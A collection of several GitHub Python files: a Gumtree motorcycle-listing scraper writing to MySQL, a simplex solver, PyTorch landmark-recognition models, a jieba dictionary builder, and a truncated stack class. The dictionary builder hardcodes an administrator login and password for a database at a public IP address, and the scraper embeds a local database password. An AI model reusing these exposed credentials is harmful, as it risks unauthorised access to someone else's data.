price, listDate\n\nclass Motorcycle(Item):\n def __init__(self, url):\n super().__init__(url)\n #self.price, self.listDate, self.displacement, self.make, self.model, \\\n # self.year, self.kms, self.registered, self.regExpiry, self.colour, \\\n # self.description, self.learner, self.listType = \n \n self.price = \"NULL\"\n self.listDate = \"NULL\"\n self.displacement = \"NULL\"\n self.make = \"NULL\"\n self.model = \"NULL\"\n self.year = \"NULL\"\n self.kms = \"NULL\"\n self.registered = \"NULL\"\n self.regExpiry = \"NULL\"\n self.colour = \"NULL\"\n self.description = \"NULL\"\n self.learner = \"NULL\"\n self.listType = \"NULL\"\n self.scrape()\n \n\n\n def scrape(self):\n \"\"\"Pull Information about the motorcycle\"\"\"\n #Request the page from the internet\n page = s.get(self.url)\n\n #Check if page is working\n if page.status_code != 200:\n print(page.status_code)\n #Load page contents into soup\n soup = BeautifulSoup(page.content, 'html.parser')\n\n \n #Find price\n try:\n self.price = soup.find_all(class_=\"j-ad-price\")[0]['content']\n except:\n self.price = \"NULL\"\n #Find attributes names/values\n adAttrName = soup.find_all(class_=\"ad-details__ad-attribute-name\")\n adAttrVals = soup.find_all(class_=\"ad-details__ad-attribute-value\")\n #Find description\n try:\n self.description = \"\"\n descriptionLst = soup.find_all(id=\"ad_description_details_content\")[0].contents\n for i in range(len(descriptionLst)):\n if isinstance(descriptionLst[i], str):\n self.description = self.description + descriptionLst[i].lstrip() + \" \"\n except:\n self.description = \"NULL\"\n\n #Set defaults \n #----------------------------------------------------------------------\n listDate = \"NULL\"\n displacement = \"NULL\"\n make = \"NULL\"\n model = \"NULL\"\n year = \"NULL\"\n kms = \"NULL\"\n registered = \"NULL\"\n regExpiry = \"NULL\"\n colour = \"NULL\"\n learner = \"NULL\"\n listType = \"NULL\"\n #----------------------------------------------------------------------\n \n #Check all attributes for important information\n for i in range(0,len(adAttrName)):\n tempName = adAttrName[i].contents[0]\n if \"Date Listed:\" in tempName:\n listDateLst = adAttrVals[i].contents[0].lstrip().split('/')\n self.listDate = listDateLst[2]+'-'+listDateLst[1]+'-'+listDateLst[0]\n elif \"Displacement (cc):\" in tempName:\n self.displacement = adAttrVals[i].contents[0].lstrip()\n elif \"Make:\" in tempName:\n self.make = adAttrVals[i].contents[0].lstrip()\n elif \"Model:\" in tempName:\n self.model = adAttrVals[i].contents[0].lstrip()\n elif \"Year:\" in tempName:\n self.year = adAttrVals[i].contents[0].lstrip()\n elif \"KMs:\" in tempName:\n self.kms = adAttrVals[i].contents[0].lstrip()\n elif \"Registered:\" in tempName:\n if adAttrVals[i].contents[0].lstrip() == \"Yes\":\n self.registered = \"Y\"\n elif adAttrVals[i].contents[0].lstrip() == \"No\":\n self.registered = \"N\"\n elif \"Registration Expiry:\" in tempName:\n regExpLst = adAttrVals[i].contents[0].lstrip().split('/')\n self.regExpiry = regExpLst[2]+'-'+regExpLst[1]+'-'+regExpLst[0]\n elif \"Colour:\" in tempName:\n self.colour = adAttrVals[i].contents[0].lstrip()\n elif \"Learner Approved:\" in tempName:\n if adAttrVals[i].contents[0].lstrip() == \"Yes\":\n self.learner = \"Y\"\n elif adAttrVals[i].contents[0].lstrip() == \"No\":\n self.learner = \"N\"\n elif \"Listing Type:\" in tempName:\n self.listType = adAttrVals[i].contents[0].lstrip()\n\n\n #return price, listDate, displacement, make, model, year, kms, registered, regExpiry, colour, description, learner, listType\n\n def dbInsert(self, password):\n db = pymysql.connect(host=\"localhost\", user=\"testUser\", passwd=password, db=\"allItems\", charset='utf8')\n cursor = db.cursor()\n\t\n #SQL Query\n sql = \"INSERT IGNORE INTO motorcycles VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, NULL);\"\n\n #Convert strings into floats\n if self.price == \"\":\n self.price = \"NULL\"\n if self.kms == \"\":\n self.kms = \"NULL\"\n if self.price != \"NULL\":\n self.price = float(self.price)\n if self.kms != \"NULL\":\n self.kms = float(self.kms)\n\n #Insert into database\n try:\n cursor.execute(sql, (self.url, self.make, self.model, self.name, \\\n self.price, self.kms, self.location, \\\n self.listDate, self.year, self.displacement, self.registered, \\\n self.regExpiry, self.colour, self.description, \\\n self.learner, self.listType))\n\n db.commit()\n except Exception as e:\n print(\"Didn't work\")\n print(\"Exception occured: {}\".format(e))\n db.rollback()\n\n db.close()\n\n\ndef findMakes(category):\n \"\"\"\n Finds all available makes from main category page\n Returns list of Make page URLs\n \"\"\"\n\n\n\n pass\n\ndef findModels(make):\n \"\"\"\n Finds all available models from Make page\n Returns list of Make-Model page URLs\n \"\"\"\n\n pass\n\ndef findURLs(item, category, auto=False):\n \"\"\" Finds all listing urls on first page\"\"\"\n if item == \"NULL\":\n page = s.get(\"http://www.gumtree.com.au/s-%s/c18626\" % (category))\n else:\n page = s.get(\"http://www.gumtree.com.au/s-%s/%s/k0c18626\" % (category, item))\n \n soup = BeautifulSoup(page.content, 'html.parser')\n\n curTime1 = datetime.now()\n\n itemListing = soup.find_all(class_=\"user-ad-row link link--base-color-inherit link--hover-color-none link--no-underline\")\n for i in soup.find_all(class_=\"user-ad-row user-ad-row--featured-or-premium link link--base-color-inherit link--hover-color-none link--no-underline\"):\n itemListing.append(i)\n\n for i in soup.find_all(class_=\"user-ad-row user-ad-row--premium user-ad-row--featured-or-premium link link--base-color-inherit link--hover-color-none link--no-underline\"):\n itemListing.append(i)\n\n urlList = []\n for i in range(0, len(itemListing)):\n urlList.append(\"https://www.gumtree.com.au\" + itemListing[i]['href'])\n \n #Loop for all pages\n #Find last page number\n lastPageURL = soup.find(class_=\"page-number-navigation__link page-number-navigation__link-last link link--base-color-primary link--hover-color-none link--no-underline\")['href']\n lastPage = int(re.search('page-(\\d+)', lastPageURL).group(1))\n\n curTime2 = datetime.now()\n \n #Ask user if they wish to proceed\n if auto:\n #Automatically want to search all pages\n searchPage = lastPage\n else:\n #User input for number of pages to search\n while True:\n userCheck = input(\"%d pages have been found. How many do you wish to search?(1, 2, ..., all or quit): \" % lastPage)\n try:\n searchPage = int(userCheck)\n except ValueError:\n if userCheck.lower() == \"all\":\n searchPage = lastPage \n break\n elif userCheck.lower() == \"quit\":\n quit()\n else:\n print(\"Please enter a number, all or quit\")\n continue\n else:\n break\n \n #Store current time for performance indicator later\n curTime3 = datetime.now()\n\n #Scrape listing URLs from each page\n for i in tqdm(range(2, searchPage+1)):\n #Find page\n if item == \"NULL\":\n page = s.get(\"http://www.gumtree.com.au/s-%s/page-%d/c18626\" % (category, i))\n else:\n page = s.get(\"http://www.gumtree.com.au/s-%s/%s/page-%d/k0c18626\" % (category, item, i))\n \n soup = BeautifulSoup(page.content, 'html.parser')\n\n #Scrape page\n itemListing = soup.find_all(class_=\"user-ad-row link link--base-color-inherit link--hover-color-none link--no-underline\")\n for i in soup.find_all(class_=\"user-ad-row user-ad-row--featured-or-premium link link--base-color-inherit link--hover-color-none link--no-underline\"):\n itemListing.append(i)\n\n for i in soup.find_all(class_=\"user-ad-row user-ad-row--premium user-ad-row--featured-or-premium link link--base-color-inherit link--hover-color-none link--no-underline\"):\n itemListing.append(i)\n\n for i in range(0, len(itemListing)):\n urlList.append(\"https://www.gumtree.com.au\" + itemListing[i]['href'])\n\n #Display process time\n perfTime = datetime.now() - curTime3 + (curTime2 - curTime1)\n print(\"Process took: \", perfTime.total_seconds(), \"Seconds\")\n\n\n return urlList\n\n\ndef adExpired(auto=False):\n \"\"\" Checks all listings to see if still available. Best results if run daily. \"\"\"\n #Create connection \n db = pymysql.connect(host=\"localhost\", user=\"testUser\", passwd=\"BorrisBulletDodger\", db=\"allItems\", charset='utf8')\n cursor = db.cursor()\n\n #Record todays date\n curTime = datetime.now().strftime(\"%Y-%m-%d\")\n \n #SQL Query\n sql = \"SELECT url, adExpiry FROM motorcycles WHERE adExpiry IS NULL\"\n\n #Find data\n try: \n cursor.execute(sql)\n result = cursor.fetchall()\n data = [ [i[0], i[1]] for i in result]\n db.commit()\n except Exception as e:\n db.rollback()\n print(\"Exception occured: {}\".format(e))\n\n #continue check\n while not auto:\n cont = input(\"%d listings found - Do you wish to continue?: \" % (len(data)))\n if cont.lower() == 'y' or cont.lower() == 'yes':\n break\n elif cont.lower() == 'n' or cont.lower() == 'no':\n quit()\n else:\n print(\"Please enter y/n\")\n continue\n \n count = 0\n for i in tqdm(range(0, len(data))):\n #Request the page from the internet\n page = s.get(data[i][0])\n\n #Check if page is working\n if page.status_code != 200:\n print(page.status_code, data[i][0])\n #Load page contents into soup\n soup = BeautifulSoup(page.content, 'html.parser')\n\n #Try find ad-expired id\n if soup.find(id=\"ad-expired\"):\n #Returns true if list not empty\n sql = \"\"\"UPDATE motorcycles\n SET adExpiry=%s\n WHERE url=%s\"\"\"\n try:\n cursor.execute(sql, (curTime, data[i][0]))\n db.commit()\n count += 1\n except Exception as e:\n db.rollback()\n print(\"Exception occured: {}\".format(e))\n \n\n #Remember to close database at the end \n db.close()\n \n print(\"%d/%d tracked listings have been sold since last processed\" % (count, len(data)))\n\ndef checkURLs(table, allURLs):\n #Create connection \n db = pymysql.connect(host=\"localhost\", user=\"testUser\", passwd=\"BorrisBulletDodger\", db=\"bikedb\", charset='utf8')\n cursor = db.cursor()\n\n #SQL Query\n sql = \"SELECT url FROM \" + table + \";\"\n\n #Find data\n try: \n cursor.execute(sql)\n result = cursor.fetchall()\n oldURLs = [ link[0] for link in result]\n db.commit()\n except Exception as e:\n db.rollback()\n print(\"Exception occured: {}\".format(e))\n finally:\n db.close()\n \n try:\n newURLs = list(set(allURLs) - set(oldURLs))\n except Exception:\n newURLs = allURLs\n\n return newURLs\n\n\nif __name__ == \"__main__\":\n\n #Check sold?\n while True:\n checkSold = input(\"Would you like to check db for sold listings?\")\n if checkSold.lower() == 'y' or checkSold.lower() == 'yes':\n adExpired(True)\n break\n elif checkSold.lower() == 'n' or checkSold.lower() == 'no':\n break\n else:\n print(\"Please enter y/n\")\n continue\n\n #Find URLs\n print(\"Finding Listing Pages\")\n urls = findURLs(\"NULL\", \"motorcycles\")\n print(str(len(urls)) + \" URLs have been found\")\n #Check if already in db\n urls = checkURLs(\"motorcycles\", urls)\n print(str(len(urls)) + \" URLs are new\")\n\n #Check if user wishes to proceed\n while True:\n cont = input(\"Do you wish to proceed?\")\n if cont.lower() == 'y' or cont.lower() == 'yes':\n break\n elif cont.lower() == 'n' or cont.lower() == 'no':\n quit()\n else:\n print(\"Please enter y/n\")\n continue\n \n password = \"BorrisBulletDodger\"\n\n for i in tqdm(range(len(urls))):\n temp = Motorcycle(urls[i])\n temp.dbInsert(password)\n \n\n \"\"\"\n test = Motorcycle(urls[0])\n password = \"BorrisBulletDodger\"\n #password = input(\"Please Enter Your Password: \")\n test.dbInsert(password)\n\n \"\"\"\n\n\n# Possible errors in listings not being sold but ad expiring\n\"\"\"Bunch of old urls for later testing\nhttps://www.gumtree.com.au/s-ad/regents-park/motorcycles/2010-ninja-kawasaki-250-/1073867602\nhttps://www.gumtree.com.au/s-ad/hocking/motorcycles/great-buy/1112608894\nhttps://www.gumtree.com.au/s-ad/parkes/motorcycles/1992-zzr-250-ninja/1115904602\nhttps://www.gumtree.com.au/s-ad/innaloo/motorcycles/2011-kawasaki-ninja-250cc-red-black-motorbike-ideal-for-learner/1122083797\n\n\"\"\"\n","repo_name":"BrodieNicholas/gumtreeScraper","sub_path":"Version2/scraperOld.py","file_name":"scraperOld.py","file_ext":"py","file_size_in_byte":15669,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"70"} +{"seq_id":"30803503991","text":"import numpy as np\n\n\nclass Simplex:\n def __init__(self, reduced_cost, param, term, fixing_cost=None):\n \"\"\"\n :param reduced_cost: coefficients of the objective function\n :param param: parameters of the objective\n :param term: terms of constraints\n \"\"\"\n if fixing_cost is None:\n fixing_cost = []\n else:\n if len(fixing_cost) != len(reduced_cost):\n raise ValueError(\"fixing cost array must have the same length of reduced cost!\")\n\n self.fixing_cost = fixing_cost\n if len(term) != param.shape[0]:\n raise ValueError(\"Number of terms are different to number of constraints!\")\n\n self.terms = term.copy()\n self.n_reduced_cost = len(reduced_cost)\n\n self.reduced_cost = np.concatenate((reduced_cost, np.zeros((param.shape[0] + 1))))\n param = np.concatenate((param, np.identity(param.shape[0])), axis=1)\n self.params = np.concatenate((param, np.vstack(term)), axis=1)\n\n self.in_base = np.array(\n np.arange(start=len(reduced_cost), stop=len(reduced_cost) + param.shape[0], dtype=np.int8))\n # print(self.in_base)\n\n def __get_pivot_coordinates__(self):\n \"\"\"\n :return: coordinates (x,y) of the pivot where y is the minimum reduced cost\n meanwhile x is the term which has the minimum ratio\n \"\"\"\n # taking the minimum rc\n min_rc_index = np.min(np.argwhere(self.reduced_cost < 0))\n # print(f\"min_rc_index={min_rc_index}\")\n # print(self.reduced_cost[min_rc_index])\n # taking the last column of tableau, which are terms.\n known_terms = self.terms\n # taking the column of the min_rc to compute the ratio\n den = self.params[:, min_rc_index]\n # computing the ratio\n ratio = []\n for i in range(len(known_terms)):\n if den[i] <= 0:\n ratio.append(0)\n else:\n ratio.append(known_terms[i] / den[i])\n ratio = np.asarray(ratio, dtype=np.float32)\n # taking the min ratio value\n if np.all(ratio < 0):\n return None\n # print(f\"ratio {ratio}\")\n min_ratio = np.min(ratio[ratio > 0])\n # print(f\"min_ratio ={min_ratio}\")\n # print(f\"np.argwhere(ratio == min_ratio) ={np.argwhere(ratio == min_ratio)}\")\n return np.min(np.argwhere(ratio == min_ratio)), min_rc_index\n\n def __pivoting__(self, in_idx, out_idx):\n \"\"\"\n It performs the pivoting operation with pivot the element in (in_idx, out_idx)\n :param in_idx: row, entry variable\n :param out_idx: column of exiting variable\n :return:\n \"\"\"\n self.in_base[out_idx] = in_idx\n # print(f\"In base: {self.in_base}\")\n\n pivot = self.params[out_idx, in_idx]\n # print(f\"pivot {pivot}\")\n # print(\"pivot={}\".format(pivot))\n # print(f\"ratio {ratio}\")\n\n # for i in range(len(self.reduced_cost)):\n params_copy = self.params.copy()\n # params_copy[out_idx, :] = params_copy[out_idx, :] / pivot\n reduced_cost_copy = self.reduced_cost.copy()\n self.reduced_cost = reduced_cost_copy - (reduced_cost_copy[in_idx] / pivot) * params_copy[out_idx, :]\n\n # print(f\"ratio = {ratio}\")\n for i in range(self.params.shape[0]):\n if i != out_idx:\n numerator = params_copy[i, in_idx]\n self.params[i, :] = params_copy[i, :] - (numerator / pivot) * params_copy[out_idx, :]\n # print(self.params[i, :])\n else:\n\n self.params[i, :] = params_copy[i, :] / pivot\n # print(self.params[i, :])\n # print(self.params)\n\n def __check_optimality__(self):\n \"\"\"\n :return: it returns a boolean value which indicates if the current tableau is optimal\n \"\"\"\n is_optimal = True\n for i in range(len(self.reduced_cost)):\n if self.reduced_cost[i] < 0:\n is_optimal = False\n\n return is_optimal\n\n def min(self):\n # if all the relative profits are greater than or equal to 0, then the current basis is the optimal one\n while not self.__check_optimality__():\n # find the column corresponding to max relative profit.\n # let column j have th max rel. profit: xj will enter the basis\n return_value = self.__get_pivot_coordinates__()\n if return_value is not None:\n # print(\"Pivot coordinates\", return_value)\n out_idx, in_idx = return_value\n # perform the min ratio test only on positive elements to determine which variable will leave the basis.\n # min ratio test: b_r / a_{rj} = min_i{ b_i / a_{ij}}\n # the index of the min element, r, is the leaving row\n # the variable at index r of the basic variables vector will leave the basis\n # make the identity matrix again:\n # the element at index (r,j) will be the pivot element and row r will be the pivot row\n # divide the r-th row by pivot to make it 1. And subtract c(rth row) from other rows to make them 0,\n # where c is the coefficient required to make that row 0.\n self.__pivoting__(in_idx, out_idx)\n # print(\"reduced cost\", self.reduced_cost)\n # print(\"params\\n\", self.params)\n # print(\"In base\", self.in_base)\n else:\n print(\"The problem is unlimited!\")\n return None\n # print(\"***************************** iterating *****************************\")\n\n return self.__get_results__()\n\n def __get_results__(self):\n \"\"\"\n :return: values of in-base variables as a tuple\n \"\"\"\n # print(\"reduced cost\", self.reduced_cost)\n # print(\"params\\n\", self.params)\n # print(\"In base\", self.in_base)\n\n to_return = []\n # print(\"The result is:\")\n for i in range(len(self.in_base)):\n # (variable_index, value)\n # print(f\"X{self.in_base[i] + 1} = {self.params[i, -1]}\")\n to_return.append((self.in_base[i], self.params[i, -1]))\n # print(\"Other variables are equal to zero.\")\n return to_return, self.reduced_cost[-1]\n\n\ndef main():\n rc = np.array([-2, -1, -3])\n params = np.array([[2, 1, 2],\n [1, 1, 0],\n [1, 1, 2]])\n terms = np.array([3, 1, 2])\n sim = Simplex(rc, params, np.transpose(terms))\n res = sim.min()\n if res is not None:\n variables, best_sol = res\n print(\"variables: {}\".format(variables))\n print(\"best sol = {}\".format(best_sol))\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"WenXiaowei/branching_bound_with_simplex","sub_path":"simplex/simplex.py","file_name":"simplex.py","file_ext":"py","file_size_in_byte":6792,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"38008214385","text":"from collections import OrderedDict\n\nimport numpy as np\n\nfrom train_utils import train_iter, test_iter, make_queue, split_validation, gap\n\nimport torch\nfrom torch import Tensor\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.optim import Adam\nimport torch.utils.model_zoo as model_zoo\nfrom torch.utils.data import Dataset, DataLoader, SubsetRandomSampler\nfrom torchvision.models import ResNet, resnet50\n\nfrom sklearn.linear_model import LogisticRegression\n\nimport tqdm\nfrom tqdm import tqdm\ntqdm.monitor_interval = 0\n\nclass Bottleneck(nn.Module):\n expansion = 4\n\n def __init__(self, inplanes, planes, stride=1, downsample=None):\n super(Bottleneck, self).__init__()\n self.conv1 = nn.Conv2d(inplanes, planes, kernel_size=1, bias=False)\n self.bn1 = nn.BatchNorm2d(planes)\n self.conv2 = nn.Conv2d(planes, planes, kernel_size=3, stride=stride,\n padding=1, bias=False)\n self.bn2 = nn.BatchNorm2d(planes)\n self.conv3 = nn.Conv2d(planes, planes * 4, kernel_size=1, bias=False)\n self.bn3 = nn.BatchNorm2d(planes * 4)\n self.relu = nn.ReLU(inplace=True)\n self.downsample = downsample\n self.stride = stride\n\n def forward(self, x):\n residual = x\n\n out = self.conv1(x)\n out = self.bn1(out)\n out = self.relu(out)\n\n out = self.conv2(out)\n out = self.bn2(out)\n out = self.relu(out)\n\n out = self.conv3(out)\n out = self.bn3(out)\n\n if self.downsample is not None:\n residual = self.downsample(x)\n\n out += residual\n out = self.relu(out)\n\n return out\n\n\nclass MainNetwork(ResNet):\n def __init__(self, base, **kwargs):\n super(MainNetwork, self).__init__(Bottleneck, [3, 4, 6, 3], **kwargs)\n self.base = base\n\n for m, b in zip(self.parameters(), base.parameters()):\n m.data = b.data\n\n self.fc = None\n self.avgpool = None\n\n def forward(self, x):\n x = self.conv1(x)\n x = self.bn1(x)\n x = self.relu(x)\n x = self.maxpool(x)\n\n x = self.layer1(x)\n x = self.layer2(x)\n x = self.layer3(x)\n x = self.layer4(x)\n\n return x\n\n\nclass FeatureNetwork(nn.Module):\n def __init__(self):\n super(FeatureNetwork, self).__init__()\n\n self.conv1 = nn.Conv2d(2048, 512, kernel_size = 1, bias = True)\n self.conv2 = nn.Conv2d(512, 512, kernel_size = 3, padding = 2, bias = True)\n\n for m in self.modules():\n if isinstance(m, nn.Conv2d):\n nn.init.xavier_uniform_(m.weight)\n nn.init.constant_(m.bias, 0)\n\n def forward(self, x):\n x = F.elu(self.conv1(x))\n return self.conv2(x)\n\n\nclass FinalNetwork(nn.Module):\n def __init__(self, classes):\n super(FinalNetwork, self).__init__()\n\n self.dropout1 = nn.Dropout(0.1)\n self.fc1 = nn.Linear(512, 512)\n self.dropout2 = nn.Dropout(0.1)\n self.fc2 = nn.Linear(512, classes)\n\n for m in self.modules():\n if isinstance(m, nn.Linear):\n nn.init.xavier_uniform_(m.weight)\n nn.init.constant_(m.bias, 0)\n\n def forward(self, x):\n x = self.dropout1(x)\n x = F.elu(self.fc1(x))\n x = self.dropout2(x)\n return F.log_softmax(self.fc2(x), dim = 1)\n\n\nclass CombinedNetwork(nn.Module):\n def __init__(self, classes):\n super(CombinedNetwork, self).__init__()\n self.base = resnet50(pretrained = True)\n self.main = MainNetwork(self.base)\n self.attention = FeatureNetwork()\n self.feature = FeatureNetwork()\n self.final = FinalNetwork(classes)\n\n self.use_attention = True\n\n def forward(self, x):\n out_main = self.main(x)\n out_feat = self.feature(out_main)\n\n if self.use_attention:\n out_attn = self.attention(out_main)\n out_attn = out_attn.view(out_attn.shape[0], out_attn.shape[1], -1) # Flatten the spatial dimension to do a softmax on\n out_attn = F.softmax(out_attn, dim = 2)\n out_attn = out_attn.view_as(out_feat)\n\n out_merged = out_attn * out_feat\n out_merged = torch.sum(torch.sum(out_merged, dim = -1), dim = -1)\n else:\n out_merged = torch.mean(torch.mean(out_feat, dim = -1), dim = -1)\n\n out_final = self.final(out_merged)\n\n results = [out_final, out_merged, out_feat]\n if self.use_attention:\n results += [out_attn]\n return results\n\n def get_optims(self):\n main_params = list(self.main.parameters()) + list(self.feature.parameters()) + list(self.final.parameters())\n return Adam(main_params, lr = 3e-4), Adam(self.attention.parameters())\n\n\n# Boost a model with a nearest neighbour/class on the feature vectors\nclass BoostedNearestClass(object): # Note this is NOT a PyTorch model so the normal pytorch serialisation will NOT work\n def __init__(self, net, classes):\n self.net = net\n self.classes = classes\n self.class_statistics = {}\n self.booster = nn.Linear(2, 1).cuda() # Just use default parameters for now\n\n\n def train_means(self, train_set):\n print(\"Computing features for each class in the trainset\")\n pb = tqdm(total = len(train_set))\n train_loader = DataLoader(train_set, batch_size = 16, shuffle = True, num_workers = 6, pin_memory = True)\n train_queue, train_worker = make_queue(train_loader)\n\n class_feat = {}\n self.net.eval()\n while train_worker.is_alive() or not train_queue.empty():\n\n data, targets = train_queue.get()\n progress = data.shape[0]\n\n out_final, out_merged, out_feat, out_attn = self.net(data.float() / 255.0)\n for i in range(out_final.shape[0]):\n category = targets[i]\n if category in class_feat:\n class_feat[category] += [out_merged[i].data]\n else:\n class_feat[category] = [out_merged[i].data]\n\n pb.update(progress)\n\n train_queue.join()\n pb.close()\n\n print(\"Computing centroids\")\n for k in tqdm(class_feat):\n if len(class_feat[k]) == 1: # We can't really compute a standard deviation so set it to 1\n self.class_statistics[k] = (class_feat[k][0], torch.ones(*class_feat[k][0].shape).cuda())\n else:\n class_feat[k] = torch.stack(class_feat[k], dim = 0)\n self.class_statistics[k] = (torch.mean(class_feat[k], dim = 0), torch.std(class_feat[k], dim = 0))\n\n idx = list(self.class_statistics.keys())\n stat = self.class_statistics.values()\n mu, sigma = zip(*stat)\n\n idx = torch.LongTensor(idx).cuda().data\n mu = torch.stack(mu, dim = 0).data\n sigma = torch.stack(sigma, dim = 0).data\n self.class_statistics = [idx, [mu, sigma]]\n\n\n def train_booster(self, train_set, max_samples = 1000): # set max_samples to -1 to use all\n\n print(\"Fitting the booster\")\n criterion = nn.NLLLoss()\n booster_optim = Adam(self.booster.parameters(), lr = 3e-4)\n\n loss_avg = 0 # Keep an exponential running avg\n accuracy_avg = 0\n metric_avg = 0\n\n # We don't need very much data since we have literally 2 datapoints\n if max_samples != -1:\n sampler = SubsetRandomSampler(np.random.permutation(len(train_set))[:max_samples].tolist())\n train_loader = DataLoader(train_set, batch_size = 4, sampler = sampler, num_workers = 6, pin_memory = True)\n else:\n train_loader = DataLoader(train_set, batch_size = 4, shuffle = True, num_workers = 6, pin_memory = True)\n train_queue, train_worker = make_queue(train_loader)\n\n\n pb = tqdm(total = max_samples)\n while train_worker.is_alive() or not train_queue.empty():\n data, targets = train_queue.get()\n\n out_booster, out_nearest, out_net = self.run_all(data)\n\n loss = criterion(out_booster, targets)\n accuracy = torch.mean((torch.max(out_booster, dim = 1)[1] == targets).float())\n metric = gap(out_booster, targets)\n\n self.booster.zero_grad()\n loss.backward()\n booster_optim.step()\n\n loss_avg = 0.9 * loss_avg + 0.1 * loss.data.cpu().numpy()\n accuracy_avg = 0.9 * accuracy_avg + 0.1 * accuracy.data.cpu().numpy()\n metric_avg = 0.9 * metric_avg + 0.1 * metric.data.cpu().numpy()\n pb.update(data.size()[0])\n pb.set_postfix(loss = loss_avg, accuracy = accuracy_avg, gap = metric_avg)\n\n pb.close()\n train_queue.join()\n\n\n def run_neighbours(self, data):\n out_net, out_merged, out_feat, out_attn = self.net(data.float() / 255.0)\n\n idx, (mu, sigma) = self.class_statistics\n distance = torch.sqrt(torch.sum((out_merged.unsqueeze(1) - mu) ** 2 / sigma ** 2, dim = 2))\n _, min_distance = torch.min(distance, dim = 1)\n\n out_nearest = torch.zeros_like(out_net)\n for i in range(min_distance.shape[0]):\n out_nearest[i, idx[min_distance[i]]] = 1\n\n return out_nearest, out_net\n\n\n def run_all(self, data):\n out_nearest, out_net = self.run_neighbours(data)\n\n in_booster = torch.cat([out_nearest[:, :, None], torch.exp(out_net)[:, :, None]], dim = 2)\n out_booster = F.log_softmax(torch.squeeze(self.booster(in_booster)), dim = 1)\n\n return out_booster, out_nearest, out_net\n\n\n def save(self):\n torch.save(self.class_statistics[0], 'idx.pytorch')\n torch.save(self.class_statistics[1][0], 'mu.pytorch')\n torch.save(self.class_statistics[1][1], 'sigma.pytorch')\n\n torch.save(self.booster.state_dict(), 'booster.nn')\n\n\n def load(self):\n idx = torch.load('idx.pytorch')\n mu = torch.load('mu.pytorch')\n sigma = torch.load('sigma.pytorch')\n self.class_statistics = [idx, [mu, sigma]]\n\n self.booster.load_state_dict(torch.load('booster.nn'))\n","repo_name":"HenryJia/LandmarkRecog","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":10078,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"70"} +{"seq_id":"5412911416","text":"# !/usr/bin/python3\n# -*- coding:utf-8 -*-\n\n\nfrom entity_commonFun_jin import odbc_connect\nimport re\nimport jieba.posseg as pseg\nimport pickle\n\nentity_pos=[\"nz\",\"nt\",\"nrt\",\"n\"]\n\nwith open('data/idf_companyName.pkl','rb') as fr:\n\tidf_dict = pickle.load(fr)\n\ndef write2udfDic(filename,conn):\n\tfile_write = open(filename,mode='w',encoding='utf-8')\n\ttry:\n\t\tcursor = conn.cursor()\n\t\tsql = \"\"\"\n\t\t\t\tselect entities from dbo.abbr_and_product_all \n\t\t\t\twhere entities not like '%股份%' and entities not like '%保定%' \n\t\t\t\t\"\"\"\n\t\tcursor.execute(sql)\n\t\tpairsData = cursor.fetchall()\n\texcept Exception as e:\n\t\tprint(\"throw read table fail:\",e)\n\telse:\n\t\tword_dic = {}\n\t\tfor pair in pairsData:\n\t\t\t#print(\"pair[0]: \",pair[0])\n\t\t\tassert '股份' not in pair[0]\n\t\t\titems = pair[0].split(',')\n\t\t\tword_count = 0\n\t\t\tfor word in items:\n\t\t\t\tword_count += 1\n\t\t\t\tword = word.replace(' ', '')\n\t\t\t\tsub_word = re.sub('\\W+','',word)\n\t\t\t\tif len(sub_word) < len(word):\n\t\t\t\t\tcontinue\n\t\t\t\tsub_word = re.sub('\\s+','',word)\n\t\t\t\tif len(sub_word) < len(word):\n\t\t\t\t\tcontinue\n\t\t\t\tsub_word = re.sub('[a-zA-Z0-9_]','',word)\n\t\t\t\tif len(sub_word) < len(word):\n\t\t\t\t\tcontinue\n\n\t\t\t\tsegs = pseg.cut(word)\n\t\t\t\tnew_word = ''\n\t\t\t\tfor w,p in segs:\n\t\t\t\t\tif p in entity_pos and w in idf_dict and len(w) >= 2:\n\t\t\t\t\t\tif idf_dict[w] > 50:\n\t\t\t\t\t\t\tnew_word += w\n\t\t\t\t\t\t\tif len(new_word) > 4:\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\tif len(new_word) >= 2:\n\t\t\t\t\tif new_word not in word_dic:\n\t\t\t\t\t\tword_dic[new_word] = 0\n\t\t\t\t\tword_dic[new_word] += 1\n\n\t\tfor word in word_dic:\n\t\t\t#print(\"word result={}\".format(word))\n\t\t\tfreq = word_dic[word] + 10\n\t\t\tline = word + \" \" + str(freq) +\" \" + 'nz'\n\t\t\tfile_write.write(line)\n\t\t\tfile_write.write('\\n')\n\t\tprint(\"file sucessfully write into\")\n\tfinally:\n\t\tif file_write:\n\t\t\tfile_write.close()\n\t\tif conn:\n\t\t\tcursor.close()\n\t\t\tconn.close()\n\nif __name__ == '__main__':\n\tconn = odbc_connect(host=\"118.89.139.154\", port=11433, user=\"sa\", db=\"CFB\", passwd=\"somao@520\", charset='utf8')\n\twrite2udfDic('data/udfDic.txt',conn)\n\n","repo_name":"JoeyWord/common_op","sub_path":"udfDict.py","file_name":"udfDict.py","file_ext":"py","file_size_in_byte":1975,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"26523417937","text":"# Creating Node class\n\nclass Node:\n\t# constructor\n\tdef __init__(self, data,next=None):\n\t\tself.data = data;\n\t\tself.next = next;\n\n\tdef getData(self):\n\t\treturn self.data;\nclass Stack:\n\t# constructor\n\tdef __init__(self):\n\t\tself.top = None;\n\t# push data to the top of Stack\n\tdef push(self,data):\n\t\tif (self.top):\n\t\t\tcurr = Node(data);\n\t\t\tcurr.next = self.top;\n\t\t\tself.top = curr;\n\t\telse:\n\t\t\tself.top = Node(data);\n\t# pop data from top of Stack and return it or return -1\n\tdef pop(self):\n\t\tif (self.top):\n\t\t\tcount = self.top.getData();\n\t\t\tself.top = self.top.next;\n\t\t\treturn count;\n\t\telse:\n\t\t\treturn -1;\n\t# return true if is empty or false\n\tdef isEmpty(self):\n\t\treturn (self.top == None);\n\n\tdef printList(self):\n\t\tcurr = self.top;\n\t\tstring = \"\";\n\t\twhile (curr):\n\t\t\tif (curr.next != None):\n\t\t\t\tstring = 